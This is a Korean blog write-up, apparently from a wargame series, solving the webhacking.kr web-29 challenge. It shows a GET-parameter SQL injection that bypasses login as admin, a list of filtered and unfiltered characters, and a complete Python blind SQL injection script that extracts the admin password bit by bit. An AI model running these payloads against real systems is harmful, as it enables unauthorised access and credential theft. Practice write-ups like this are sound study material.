위의 페이지에서 이것저것 공격을 트라이 해보고 WHERE 절을 분석해본 결과,

다음과 같은 WHERE 절이 아닐까 하는 뇌피셜을 작성해봅니다.


SELECT 뭐시기 FROM 뭐시기 WHERE pw='비밀번호' and no=번호 and id='아이디' 


공격을 시도했을 때 admin 페이지로 들어가지는 경우는 다음과 같습니다.


 

 GET 공격 쿼리

https://webhacking.kr/challenge/web-29/?no=0||no=2&id=admin&pw=guest


저기서 pw는 따로 영향을 받지 않고 id에서 영향을 받은 것으로 확인되었습니다.

이제 공격을 수행하고 발견한 admin 페이지에서 공격을 수행해봐야 할 거 같은데..


admin 페이지는 다음과 같습니다.



여기서 test라는 값을 입력하니 auth라는 GET 파라미터로 값을 넘기는 것을 확인하였습니다.

저 입력 페이지 외에는 따로 알 수 있는 정보가 없습니다.


당장 이 페이지에서는 공격이 따로 불가능한 것 같습니다.

admin password는 입력할 수 있는 값과 결과가 한정적이기 때문에 GET 메소드에서 공격을 수행하여 Blind SQLi를 수행해야 할 것 같습니다.


일단 GET 메소드에서 공격 쿼리에 어떤 걸 사용할 수 있는지 대략적으로 알아본 결과는 다음과 같습니다.


 

 Filtered

%20, limit, 싱글쿼터 등


 

 Not Filtered

%09, %0a, %0d, UNION, SELECT 등


여기서 여러가지 공격을 시도해보고 다음과 같이 알아내보았습니다.


 

 공격 쿼리

no=0||no=2&&id=0x61646d696e&&알아내고자 하는 조건문

- no=0||no=2&&id=0x61646d696e&&length(pw)=??

- no=0||no=2&&id=0x61646d696e&&(BLIND SQL INJECTION 공격 쿼리)


위와 같은 값을 이용하여 공격을 수행할 수 있었습니다.





import sys
import requests
import urllib

# no -------------------------
# %20       filtered
# limit     filtered
# 
# %09       not filtered
# %0a       not filtered
# %0d       not filtered

# '         filtered <-- Failure(일반 실패한 것처럼 보임... 근데 아님)

# id -------------------------
# union     not filtered
# select    not filtered

requests.packages.urllib3.disable_warnings()
sess    = requests.session()
URL     = 'https://webhacking.kr/challenge/web-29/?no=%(no)s&id=%(id)s&pw=%(pw)s'
headers = { 'Cookie': 'PHPSESSID=q0gle6aih4e7i95ted71ipo0cf'}
proxies = { 'http'  : 'http://localhost:8888',
            'https' : 'http://localhost:8888' }

no  = "0||no=2&&id=0x61646d696e&&" # admin in hex
id  = "sfsdfsd"
pw  = "sdfsdf"

passLen = 0

for i in range(1,100):
    url_payload = { 'no'    : urllib.parse.quote(no+"length(pw)=%d" % i + "#"),
                    'id'    : urllib.parse.quote(id),
                    'pw'    : urllib.parse.quote(pw)}

    res         = sess.get( url     =URL % url_payload,
                            headers =headers,
                            proxies =proxies,
                            verify  =False)

    if 'Fail' in res.text:
        pass
    elif 'admin' in res.text:
        passLen = i
        break

print("[+] Password Length Found : %3d" % passLen)

bitLen = 8
passwd = ""

for j in range(1, passLen+1):

    tmpBit = ""

    for i in range(1,bitLen+1):
        url_payload = { 'no'    : urllib.parse.quote(no+"substr(lpad(bin(conv(hex(substr(pw,%d,1)),16,10)),8,0),%d,1)=1#" \
                                                         % (j, i)),
                        'id'    : urllib.parse.quote(id),
                        'pw'    : urllib.parse.quote(pw)}

        res         = sess.get( url     =URL % url_payload,
                                headers =headers,
                                proxies =proxies,
                                verify  =False)
        if 'Fail' in res.text:
            tmpBit += "0"
        elif 'admin' in res.text:
            tmpBit += "1"

    print("[-] tmpBit : %s" % tmpBit )
    passwd += chr(int(tmpBit, 2))


print("[+] Password Found : %s" % passwd)

print('[+] End ')



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06
Webhacking.kr_No36(200) - old  (0) 2020.01.06

+ Recent posts